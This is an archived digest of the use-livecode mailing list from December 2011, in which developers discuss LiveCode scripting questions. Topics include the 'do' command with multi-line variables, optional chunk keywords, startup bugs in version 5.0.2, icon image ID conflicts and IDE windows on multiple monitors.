> end mouseUp You will get "AA,BB" Bob On Dec 23, 2011, at 1:43 PM, DunbarX at aol.com wrote: > > > Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler > will not compile. > LC complains as: execution error at line 5 (do: error in source expression) near "put AA", char 1 > HC complains as well, that it cannot understand "BB". > > > > It seems that the routine breaks simply because of the other lines, that is, > the next line in "it" is not understandable by the parser. I wonder why it bothers to look there. > > > > Don't tell me I need two levels of "do": (do "do put...) Just kidding, that fails also. > > > Just asking. > > > Craig Newman > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From dunbarx at aol.com Fri Dec 23 22:21:08 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Fri, 23 Dec 2011 22:21:08 -0500 (EST) Subject: Optional keywords? In-Reply-To: <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com><1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> Message-ID: <8CE9002366EA6F3-EB0-B514@webmail-d042.sysops.aol.com> Is this well known? on mouseUp put "ABCDE" into foo answer char 2 foo end mouseUp This works for all chunk types. But where is the keyword "of" (or "in") at line 3? It seems to be optional. Has this always been so? Are there other keywords that do not matter? Craig Newman -----Original Message----- From: dunbarx To: use-livecode Sent: Fri, Dec 23, 2011 4:52 pm Subject: Re: How do you do it?? Of course. I have overdone the "do" construction by not including the whole statement in quotes. I am so used to having to break out literals from variables, reassembling them meticulously into a single line, that I missed this very expected result. Thanks... Craig -----Original Message----- From: Bob Sneidar To: How to use LiveCode Sent: Fri, Dec 23, 2011 1:20 pm Subject: Re: How do you do it?? Hmmm lemme follow this as pseudo code: when the mouse is clicked put "AA" and a carriage return and "BB" into the variable "it" on the first pass of a repeat loop, try to do the command put followed by the word "it" followed by the contents of the variable "it" (it's two lines you know) followed by into "temp1". The statement you are trying to "do" will look like this: do put AA BB into temp1 Well you see what went wrong don't you? The do command does not know what to do with what comes after AA. It cannot even compile it. This is why it is a MUCH better idea to put your command into a variable, and then do the variable. You could then have stepped through the code and seen what the DO command looked like before you tried to "do" it. It may seem like wisdom at first to try to mash all the code into one compact statement, but there is no gain in performance, and there is a HUGE downside of not being able to debug it. Try this instead: > on mouseUp > get "AA" & return & "BB" > -- get "AA" > repeat with y = 1 to 2 > put "put" && line y of it && "into temp" & y into theCommand > do theCommand > end repeat > answer temp1 & comma & temp2 > end mouseUp You will get "AA,BB" Bob On Dec 23, 2011, at 1:43 PM, DunbarX at aol.com wrote: > > > Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler > will not compile. > LC complains as: execution error at line 5 (do: error in source expression) near "put AA", char 1 > HC complains as well, that it cannot understand "BB". > > > > It seems that the routine breaks simply because of the other lines, that is, > the next line in "it" is not understandable by the parser. I wonder why it bothers to look there. > > > > Don't tell me I need two levels of "do": (do "do put...) Just kidding, that fails also. > > > Just asking. > > > Craig Newman > > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From fmoyer at aol.com Sat Dec 24 00:40:41 2011 From: fmoyer at aol.com (Fred Moyer) Date: Sat, 24 Dec 2011 00:40:41 -0500 Subject: 5.0.2 startup woes Message-ID: <2E98E7D2-B9F6-4EC5-B860-819A9109FAF9@aol.com> Now with this new 5.0.2 that I just purchased, various startup, openstack and preopenstack commands do not implement -- that is they don't implement when I double-click on the stack while LiveCode is not running. (Everything works fine if LiveCode is already running.) But, for example, if you make a stack that simply consists of a stack script that says: on openstack choose browse tool beep end openstack If you double-click on the stack with LiveCode not running, and 5.0.2 starts up, does the tool change to browse tool? In my computer (Mac), it doesn't -- but the computer does beep. Am I missing something really basic here? If I drag my new version 5.0.2 to the trash, which leaves 4.6.4 to start up, and do the same thing, the tool switches to browse tool as it should. There are other startup issues suddenly going on in 5.0.2 which I don't understand. Can anyone advise? Thanks Fred From warren at warrensweb.us Sat Dec 24 01:30:21 2011 From: warren at warrensweb.us (Warren Samples) Date: Sat, 24 Dec 2011 00:30:21 -0600 Subject: 5.0.2 startup woes In-Reply-To: <2E98E7D2-B9F6-4EC5-B860-819A9109FAF9@aol.com> References: <2E98E7D2-B9F6-4EC5-B860-819A9109FAF9@aol.com> Message-ID: <4EF5717D.3090907@warrensweb.us> On 12/23/2011 11:40 PM, Fred Moyer wrote: > Now with this new 5.0.2 that I just purchased, various startup, openstack and preopenstack commands do not implement -- that is they don't implement when I double-click on the stack while LiveCode is not running. (Everything works fine if LiveCode is already running.) But, for example, if you make a stack that simply consists of a stack script that says: > > on openstack > choose browse tool > beep > end openstack > > If you double-click on the stack with LiveCode not running, and 5.0.2 starts up, does the tool change to browse tool? In my computer (Mac), it doesn't -- but the computer does beep. Am I missing something really basic here? If I drag my new version 5.0.2 to the trash, which leaves 4.6.4 to start up, and do the same thing, the tool switches to browse tool as it should. There are other startup issues suddenly going on in 5.0.2 which I don't understand. > > Can anyone advise? > > Thanks > Fred > ________ This also happens here in Linux. In 5.0, Livecode opens, the stack appears and both parts of this script work. In 5.0.2 the stack is opening almost instantly and well before the Livecode toolbar appears. It beeps but does not switch to the browse tool. It would seem that Livecode is attempting to run the script before it's fully ready. Warren From sc at sahores-conseil.com Sat Dec 24 03:00:01 2011 From: sc at sahores-conseil.com (Pierre Sahores) Date: Sat, 24 Dec 2011 09:00:01 +0100 Subject: 5.0.2 startup woes In-Reply-To: <4EF5717D.3090907@warrensweb.us> References: <2E98E7D2-B9F6-4EC5-B860-819A9109FAF9@aol.com> <4EF5717D.3090907@warrensweb.us> Message-ID: <482D9CC8-35FC-4CA6-9B10-4F07B1CC7C23@sahores-conseil.com> Try : set the tool to "browse" HTH, Le 24 d?c. 2011 ? 07:30, Warren Samples a ?crit : > On 12/23/2011 11:40 PM, Fred Moyer wrote: >> Now with this new 5.0.2 that I just purchased, various startup, openstack and preopenstack commands do not implement -- that is they don't implement when I double-click on the stack while LiveCode is not running. (Everything works fine if LiveCode is already running.) But, for example, if you make a stack that simply consists of a stack script that says: >> >> on openstack >> choose browse tool >> beep >> end openstack >> >> If you double-click on the stack with LiveCode not running, and 5.0.2 starts up, does the tool change to browse tool? In my computer (Mac), it doesn't -- but the computer does beep. Am I missing something really basic here? If I drag my new version 5.0.2 to the trash, which leaves 4.6.4 to start up, and do the same thing, the tool switches to browse tool as it should. There are other startup issues suddenly going on in 5.0.2 which I don't understand. >> >> Can anyone advise? >> >> Thanks >> Fred >> ________ > > > This also happens here in Linux. In 5.0, Livecode opens, the stack appears and both parts of this script work. In 5.0.2 the stack is opening almost instantly and well before the Livecode toolbar appears. It beeps but does not switch to the browse tool. It would seem that Livecode is attempting to run the script before it's fully ready. > > Warren > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode -- Pierre Sahores mobile : 06 03 95 77 70 www.sahores-conseil.com From bonnmike at gmail.com Sat Dec 24 06:38:01 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 24 Dec 2011 04:38:01 -0700 Subject: 5.0.2 startup woes In-Reply-To: <482D9CC8-35FC-4CA6-9B10-4F07B1CC7C23@sahores-conseil.com> References: <2E98E7D2-B9F6-4EC5-B860-819A9109FAF9@aol.com> <4EF5717D.3090907@warrensweb.us> <482D9CC8-35FC-4CA6-9B10-4F07B1CC7C23@sahores-conseil.com> Message-ID: There seems to be a timing problem going on in this case. The same question was in the forums and a workaround is to set up a separate handler to pick the browse tool and then do a send in time to call it so taht the browse tool choice ends up at the end of the queue. There were problems whether the browse tool was picked in preopenstack or openstack. When the send in time was used in the openstack handler they were able to get it to work with 'send "mybrowsetoolhandler" to me in 2 milliseconds' Hopefully they'll fix this weirdness with the next update. From richmondmathewson at gmail.com Sat Dec 24 07:38:15 2011 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 24 Dec 2011 14:38:15 +0200 Subject: [OT] Sectarian Joy Message-ID: <4EF5C7B7.9060807@gmail.com> I would like to wish all people on the Use-List a Happy Festival in the hope that whatever your faith, or lack thereof, we can all work together, rather than push in separate directions, to a shared attitude of greater kindness and forbearing towards one another. Love, Richmond. From m.schonewille at economy-x-talk.com Sat Dec 24 09:12:31 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 24 Dec 2011 15:12:31 +0100 Subject: Trouble with button icon images In-Reply-To: References: Message-ID: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> Hi Pete, What happens if you change the id of the image? -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 23 dec. 2011 om 20:30 heeft Pete het volgende geschreven: > I have a card in a substack of my mainstack that contains images for > buttons I use in other substacks. All seems to work fine so far but I have > a problem with one button whose image does not show up. The same image is > used as the icon for buttons on other cards and shows up just fine. If I > copy a button that uses the image from another card to this card, the image > disappears from the button. Other buttons on the same card that refer to > different images work just fine. > > Any ideas? > > -- > Pete > Molly's Revenge From m.schonewille at economy-x-talk.com Sat Dec 24 09:57:54 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 24 Dec 2011 15:57:54 +0100 Subject: IDE windows and screenrect Message-ID: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> Anyone else who think it is annoying that windows like the message box and the dictionary don't check whether they are inside one of the available screen rects? Every time when I disconnects second monitor, the dictionary becomes inaccessible! -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com From richmondmathewson at gmail.com Sat Dec 24 10:00:17 2011 From: richmondmathewson at gmail.com (Richmond) Date: Sat, 24 Dec 2011 17:00:17 +0200 Subject: IDE windows and screenrect In-Reply-To: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> References: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> Message-ID: <4EF5E901.5070405@gmail.com> On 12/24/2011 04:57 PM, Mark Schonewille wrote: > Anyone else who think it is annoying that windows like the message box and the dictionary don't check whether they are inside one of the available screen rects? Every time when I disconnects second monitor, the dictionary becomes inaccessible! I've had similar problems when I have moved a computer from a monitor that has a high resolution to one that has a smaller res. > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Sat Dec 24 10:08:52 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 24 Dec 2011 08:08:52 -0700 Subject: IDE windows and screenrect In-Reply-To: <4EF5E901.5070405@gmail.com> References: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> <4EF5E901.5070405@gmail.com> Message-ID: Saw a discussion about this somewhere. Think a plugin came out of the talk, but can't remember for sure. If I find it i'll link. (there was also a nifty multi-montor graphic representation thingy that was really cool) Should be pretty easy to put a plugin together to check for valid locations against the screenrects. On this subject though, is there a message sent if a monitor in a dual setup goes offline? (again, so that the windows can be re-arranged based on the new configuration) From m.schonewille at economy-x-talk.com Sat Dec 24 10:15:40 2011 From: m.schonewille at economy-x-talk.com (Mark Schonewille) Date: Sat, 24 Dec 2011 16:15:40 +0100 Subject: IDE windows and screenrect In-Reply-To: References: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> <4EF5E901.5070405@gmail.com> Message-ID: <40D7C101-635C-4896-9267-9C2AB7525B52@economy-x-talk.com> Hi Mike, I believe a desktopChanged (if that's the correct name) message is sent when a monitor disappears or the resolution changes. -- Kind regards, Mark Schonewille Economy-x-Talk Http://economy-x-talk.com Share the clipboard of your computer over a local network with Clipboard Link http://clipboardlink.economy-x-talk.com Op 24 dec. 2011 om 16:08 heeft Mike Bonner het volgende geschreven: > Saw a discussion about this somewhere. Think a plugin came out of the talk, > but can't remember for sure. If I find it i'll link. (there was also a > nifty multi-montor graphic representation thingy that was really cool) > > Should be pretty easy to put a plugin together to check for valid locations > against the screenrects. > > On this subject though, is there a message sent if a monitor in a dual > setup goes offline? (again, so that the windows can be re-arranged based on > the new configuration) > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From bonnmike at gmail.com Sat Dec 24 10:27:23 2011 From: bonnmike at gmail.com (Mike Bonner) Date: Sat, 24 Dec 2011 08:27:23 -0700 Subject: IDE windows and screenrect In-Reply-To: <40D7C101-635C-4896-9267-9C2AB7525B52@economy-x-talk.com> References: <5A6B05C2-53FC-466B-A912-6DD630330961@economy-x-talk.com> <4EF5E901.5070405@gmail.com> <40D7C101-635C-4896-9267-9C2AB7525B52@economy-x-talk.com> Message-ID: Ah k yep. Thats the one thanks very much! On Sat, Dec 24, 2011 at 8:15 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Mike, > > I believe a desktopChanged (if that's the correct name) message is sent > when a monitor disappears or the resolution changes. > > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard > Link http://clipboardlink.economy-x-talk.com > > > Op 24 dec. 2011 om 16:08 heeft Mike Bonner het > volgende geschreven: > > > Saw a discussion about this somewhere. Think a plugin came out of the > talk, > > but can't remember for sure. If I find it i'll link. (there was also a > > nifty multi-montor graphic representation thingy that was really cool) > > > > Should be pretty easy to put a plugin together to check for valid > locations > > against the screenrects. > > > > On this subject though, is there a message sent if a monitor in a dual > > setup goes offline? (again, so that the windows can be re-arranged based > on > > the new configuration) > > _______________________________________________ > > use-livecode mailing list > > use-livecode at lists.runrev.com > > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > > http://lists.runrev.com/mailman/listinfo/use-livecode > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode > From pete at mollysrevenge.com Sat Dec 24 11:45:48 2011 From: pete at mollysrevenge.com (Pete) Date: Sat, 24 Dec 2011 08:45:48 -0800 Subject: Trouble with button icon images In-Reply-To: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> Message-ID: Hi Mark, Changing the ID fixes the problem, thanks. What might be the cause of this? On a related topic, I'm wondering what are the advantages/disadvantages of using the Image Library versus putting the application's images in a substack. I used to import my images into the Image Library and refer to them directly in there but changed to using a substack because I got the impression from some list posts that it might not be a good idea to use the Image Library (can't remember why). Thanks On Sat, Dec 24, 2011 at 6:12 AM, Mark Schonewille < m.schonewille at economy-x-talk.com> wrote: > Hi Pete, > > What happens if you change the id of the image? > > -- > Kind regards, > > Mark Schonewille > Economy-x-Talk > Http://economy-x-talk.com > > Share the clipboard of your computer over a local network with Clipboard > Link http://clipboardlink.economy-x-talk.com > > > From jacque at hyperactivesw.com Sat Dec 24 12:22:32 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 24 Dec 2011 11:22:32 -0600 Subject: Trouble with button icon images In-Reply-To: References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> Message-ID: <4EF60A58.3090200@hyperactivesw.com> On 12/24/11 10:45 AM, Pete wrote: > Hi Mark, > Changing the ID fixes the problem, thanks. What might be the cause of this? ID conflicts. Each stack can have its own ID numbering, so another control somewhere may have had the same ID. If the image with the conflicting ID is large or has transparent areas, it may have looked like the icon was empty. Besides using a substack, you can also place all your icon images in a group on the mainstack and then unplace the group from all cards. They'll be accessible from anywhere, you won't need an extra stack, and no card will display them. ID conflicts can still occur, so each image will need a unique ID. > > On a related topic, I'm wondering what are the advantages/disadvantages of > using the Image Library versus putting the application's images in a > substack. I used to import my images into the Image Library and refer to > them directly in there but changed to using a substack because I got the > impression from some list posts that it might not be a good idea to use the > Image Library (can't remember why). The image library is a convenient storage area for commonly used content, but it won't automatically move your images to your stack. That means if you distribute the stack or a standalone, the images will be missing. Use the library's "place" button to move the images into your working stack where they can be found. It's no different than importing images from disk, but for things you use often the library is more convenient. I have a couple of image libaries I use all the time. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jacque at hyperactivesw.com Sat Dec 24 12:26:16 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 24 Dec 2011 11:26:16 -0600 Subject: Optional keywords? In-Reply-To: <8CE9002366EA6F3-EB0-B514@webmail-d042.sysops.aol.com> References: <4EF4D7A1.4060006@hyperactivesw.com><4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de><4EF4E52E.80703@hyperactivesw.com><4EF4EA92.3010902@hyperactivesw.com><8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com><1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> <8CE9002366EA6F3-EB0-B514@webmail-d042.sysops.aol.com> Message-ID: <4EF60B38.2050502@hyperactivesw.com> On 12/23/11 9:21 PM, dunbarx at aol.com wrote: > > Is this well known? > > > > on mouseUp > put "ABCDE" into foo > answer char 2 foo > end mouseUp > > > > This works for all chunk types. But where is the keyword "of" (or > "in") at line 3? It seems to be optional. Has this always been so? > Are there other keywords that do not matter? There are others but I can't remember which they are. I think it's probably a case of the engine being so forgiving, and the behavior depends on where in the structure the omission occurs. The same is true for some unquoted literals which can work at the ends of lines but not in the middle. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From bdrunrev at gmail.com Sat Dec 24 12:42:20 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Sat, 24 Dec 2011 17:42:20 +0000 Subject: Optional keywords? In-Reply-To: <4EF60B38.2050502@hyperactivesw.com> References: <4EF4D7A1.4060006@hyperactivesw.com> <4DE71F0F-F2B1-4C77-BA75-F3D3528BB757@m-r-d.de> <4EF4E52E.80703@hyperactivesw.com> <4EF4EA92.3010902@hyperactivesw.com> <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <1E9D9BEB-50A7-49E0-BB66-48A1DD96CFD1@twft.com> <8CE8FFDEFF38B82-EB0-B33E@webmail-d042.sysops.aol.com> <8CE9002366EA6F3-EB0-B514@webmail-d042.sysops.aol.com> <4EF60B38.2050502@hyperactivesw.com> Message-ID: I've come across it, but to be honest, I really like the verbose real-language nature of Livecode. I am a touch typist, so for me it really is a question of programming as talking to myself. One of the main things I wish LC had was named parameters, like in Python, where one can call a function with something like this: sum(value1=3, value2=5) I like how clear it makes things when one sees a function being called, especially when a function has many parameters. Also, one can have default values specified in the declaration of a function in Python. That's also handy. Bernard On Sat, Dec 24, 2011 at 5:26 PM, J. Landman Gay wrote: > On 12/23/11 9:21 PM, dunbarx at aol.com wrote: >> >> >> Is this well known? >> >> >> >> on mouseUp >> ? put "ABCDE" into foo >> ? answer char 2 foo >> end mouseUp >> >> >> >> This works for all chunk types. But where is the keyword "of" (or >> "in") at line 3? It seems to be optional. Has this always been so? >> Are there other keywords that do not matter? > > > There are others but I can't remember which they are. I think it's probably > a case of the engine being so forgiving, and the behavior depends on where > in the structure the omission occurs. The same is true for some unquoted > literals which can work at the ends of lines but not in the middle. > > -- > Jacqueline Landman Gay ? ? ? ? | ? ? jacque at hyperactivesw.com > HyperActive Software ? ? ? ? ? | ? ? http://www.hyperactivesw.com > > > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription > preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From ambassador at fourthworld.com Sat Dec 24 12:44:49 2011 From: ambassador at fourthworld.com (Richard Gaskin) Date: Sat, 24 Dec 2011 09:44:49 -0800 Subject: How do you do it?? In-Reply-To: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> References: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> Message-ID: <4EF60F91.6060700@fourthworld.com> dunbarx wrote: > Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? > on mouseUp > --get "AA" & return & "BB" > get "AA" > repeat with y = 1 to 2 > do "put" && it && "into temp" & y > end repeat > answer temp2 > end mouseUp > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler > will not compile. Creating an unknown number of variables is a natural fit for arrays: on mouseUp get "AA" & return & "BB" repeat with y = 1 to 2 put it into temp[y] end repeat answer temp[2] end mouseUp -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv From pete at mollysrevenge.com Sat Dec 24 12:56:56 2011 From: pete at mollysrevenge.com (Pete) Date: Sat, 24 Dec 2011 09:56:56 -0800 Subject: Trouble with button icon images In-Reply-To: <4EF60A58.3090200@hyperactivesw.com> References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> Message-ID: Thanks Jacque. When I use the library, I use the Place Reference button to put a button on whatever card I'm working on, preconfigured to refer to the image as its icon. Are you saying that those images won't show up when I build a standalone? Thanks, Pete On Sat, Dec 24, 2011 at 9:22 AM, J. Landman Gay wrote: > On 12/24/11 10:45 AM, Pete wrote: > >> Hi Mark, >> Changing the ID fixes the problem, thanks. What might be the cause of >> this? >> > > ID conflicts. Each stack can have its own ID numbering, so another control > somewhere may have had the same ID. If the image with the conflicting ID is > large or has transparent areas, it may have looked like the icon was empty. > > Besides using a substack, you can also place all your icon images in a > group on the mainstack and then unplace the group from all cards. They'll > be accessible from anywhere, you won't need an extra stack, and no card > will display them. ID conflicts can still occur, so each image will need a > unique ID. > > > >> On a related topic, I'm wondering what are the advantages/disadvantages of >> using the Image Library versus putting the application's images in a >> substack. I used to import my images into the Image Library and refer to >> them directly in there but changed to using a substack because I got the >> impression from some list posts that it might not be a good idea to use >> the >> Image Library (can't remember why). >> > > The image library is a convenient storage area for commonly used content, > but it won't automatically move your images to your stack. That means if > you distribute the stack or a standalone, the images will be missing. Use > the library's "place" button to move the images into your working stack > where they can be found. > > It's no different than importing images from disk, but for things you use > often the library is more convenient. I have a couple of image libaries I > use all the time. > > -- > Jacqueline Landman Gay | jacque at hyperactivesw.com > HyperActive Software | http://www.hyperactivesw.com > > > ______________________________**_________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your > subscription preferences: > http://lists.runrev.com/**mailman/listinfo/use-livecode > > -- Pete Molly's Revenge From dunbarx at aol.com Sat Dec 24 13:01:52 2011 From: dunbarx at aol.com (dunbarx at aol.com) Date: Sat, 24 Dec 2011 13:01:52 -0500 (EST) Subject: How do you do it?? In-Reply-To: <4EF60F91.6060700@fourthworld.com> References: <8CE8FD316182420-1E10-A130@webmail-m030.sysops.aol.com> <4EF60F91.6060700@fourthworld.com> Message-ID: <8CE907D400C373D-EB0-E359@webmail-d042.sysops.aol.com> Richard. This returns: AA BB I am sure you meant: put line y of it into temp[y] I thought an array would be a more compact way to do what I originally wanted to. It is a long story, but the processing needed to form the array was the same as I had to do to in ordinary variables. I am not sure that is true, of course. It involved my silly license plate game, which I am sure everyone is talking about, making words containing arbitrary groups of three letters. Craig on mouseUp get "AA" & return & "BB" repeat with y = 1 to 2 put it into temp[y] end repeat answer temp[2] end mouseUp -----Original Message----- From: Richard Gaskin To: use-livecode Sent: Sat, Dec 24, 2011 7:47 am Subject: Re: How do you do it?? dunbarx wrote: > Why do LC (and HC for that matter) fail to process multi-line variables when using "do"? > on mouseUp > --get "AA" & return & "BB" > get "AA" > repeat with y = 1 to 2 > do "put" && it && "into temp" & y > end repeat > answer temp2 > end mouseUp > > > If the variable "it" contains one line, the "do" construction > works fine, making numbered temp variables as needed. But if I try the routine with a multi-line "it", the handler > will not compile. Creating an unknown number of variables is a natural fit for arrays: on mouseUp get "AA" & return & "BB" repeat with y = 1 to 2 put it into temp[y] end repeat answer temp[2] end mouseUp -- Richard Gaskin Fourth World LiveCode training and consulting: http://www.fourthworld.com Webzine for LiveCode developers: http://www.LiveCodeJournal.com LiveCode Journal blog: http://LiveCodejournal.com/blog.irv _______________________________________________ use-livecode mailing list use-livecode at lists.runrev.com Please visit this url to subscribe, unsubscribe and manage your subscription preferences: http://lists.runrev.com/mailman/listinfo/use-livecode From jacque at hyperactivesw.com Sat Dec 24 13:02:15 2011 From: jacque at hyperactivesw.com (J. Landman Gay) Date: Sat, 24 Dec 2011 12:02:15 -0600 Subject: Trouble with button icon images In-Reply-To: References: <80B28712-A818-4D01-B92D-97E995856741@economy-x-talk.com> <4EF60A58.3090200@hyperactivesw.com> Message-ID: <4EF613A7.80004@hyperactivesw.com> On 12/24/11 11:56 AM, Pete wrote: > Thanks Jacque. When I use the library, I use the Place Reference button to > put a button on whatever card I'm working on, preconfigured to refer to the > image as its icon. Are you saying that those images won't show up when I > build a standalone? No, they'll show up fine if they are placed. If you use them as icons, be sure to use the placed image's ID. It's just a convenient way to keep images somewhere besides on disk, but the behavior after placement is identical. -- Jacqueline Landman Gay | jacque at hyperactivesw.com HyperActive Software | http://www.hyperactivesw.com From jiml at netrin.com Sat Dec 24 13:07:55 2011 From: jiml at netrin.com (Jim Lambert) Date: Sat, 24 Dec 2011 10:07:55 -0800 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: References: Message-ID: <0B30B3F6-DD7B-41FC-9EEE-BA5527667F76@netrin.com> If you read the original xyologic article that was quoted by Good Morning Silicon Valley they write, "91,500,00" as the number of Android apps downloaded in Nov. 2011. They use that 'number' twice in the article. I wonder if they meant 9 million or 91 million. A missing trailing zero or misplaced commas? The ratio of 9 million to 25 million app downloads is similar to the ratio of 33 million to 71 million quoted for game downloads. If they actually meant 9, that throws the article's thesis into doubt, since the ratio difference between platforms would largely vanish. Jim Lambert From bdrunrev at gmail.com Sat Dec 24 13:44:03 2011 From: bdrunrev at gmail.com (Bernard Devlin) Date: Sat, 24 Dec 2011 18:44:03 +0000 Subject: [OT] iPhone is for games, Android is for apps. In-Reply-To: <0B30B3F6-DD7B-41FC-9EEE-BA5527667F76@netrin.com> References: <0B30B3F6-DD7B-41FC-9EEE-BA5527667F76@netrin.com> Message-ID: This article asserts that there are 16 million activations of Android a month. http://www.zdnet.com/blog/hardware/2011-the-year-of-the-android-os/17021 "Then there are the 10 billion app downloads. That?s a staggering number, and at the equivalent point in the Apple App Store?s life cycle, it had only managed around half this number of download. What?s more impressive is realizing that Google only broke the 3 billion mark back in March of this year, so that?s 7 billion in around 8 months (it took Google 20 months to hit the billion download mark in July 2010)." In the context of those numbers, 91 million a month makes more sense than 9 million. The numbers and scale are astounding. Bernard On Sat, Dec 24, 2011 at 6:07 PM, Jim Lambert wrote: > If you read the original xyologic article that was quoted by Good Morning Silicon Valley they write, "91,500,00" as the number of Android apps downloaded in Nov. 2011. ?They use that 'number' twice in the article. > > I wonder if they meant 9 million or 91 million. A missing trailing zero or misplaced commas? > > The ratio of 9 million to 25 million app downloads is similar to the ratio of 33 million to 71 million quoted for game downloads. > If they actually meant 9, that throws the article's thesis into doubt, since the ratio difference between platforms would largely vanish. > > Jim Lambert > _______________________________________________ > use-livecode mailing list > use-livecode at lists.runrev.com > Please visit this url to subscribe, unsubscribe and manage your subscription preferences: > http://lists.runrev.com/mailman/listinfo/use-livecode From littlejamesw at mac.com Sat Dec 24 14:08:47 2011 From: littlejamesw at mac.com (James Little) Date: Sat, 24 Dec 2011 11:08:47 -0800 Subject: [OT] Sectarian Joy In-Reply-To: <4EF5C7B7.9060807@gmail.com> References: <4EF5C7B7.9060807@gmail.com> Message-ID: <3E217AC7-59F0-4B21-9199-83FEBAE88E54@mac.com> I too want to wish you all a happy Holiday Season and New Year. I also want to thank the many advanced users on this Use-List and on the Forum that have been so generous with instructing us less experienced throughout the year. Perhaps I can adapt a quote from W.C. Fields: "If at first you don?t succeed, try, try again, then quit. There?s no point in being a damn fool about it." Just ask the Use-List or the Forum. And to adapt a Chinese proverb: "To be happy for an hour, get drunk. To be happy for a year, fall in love. To be happy for a life, take up gardening & 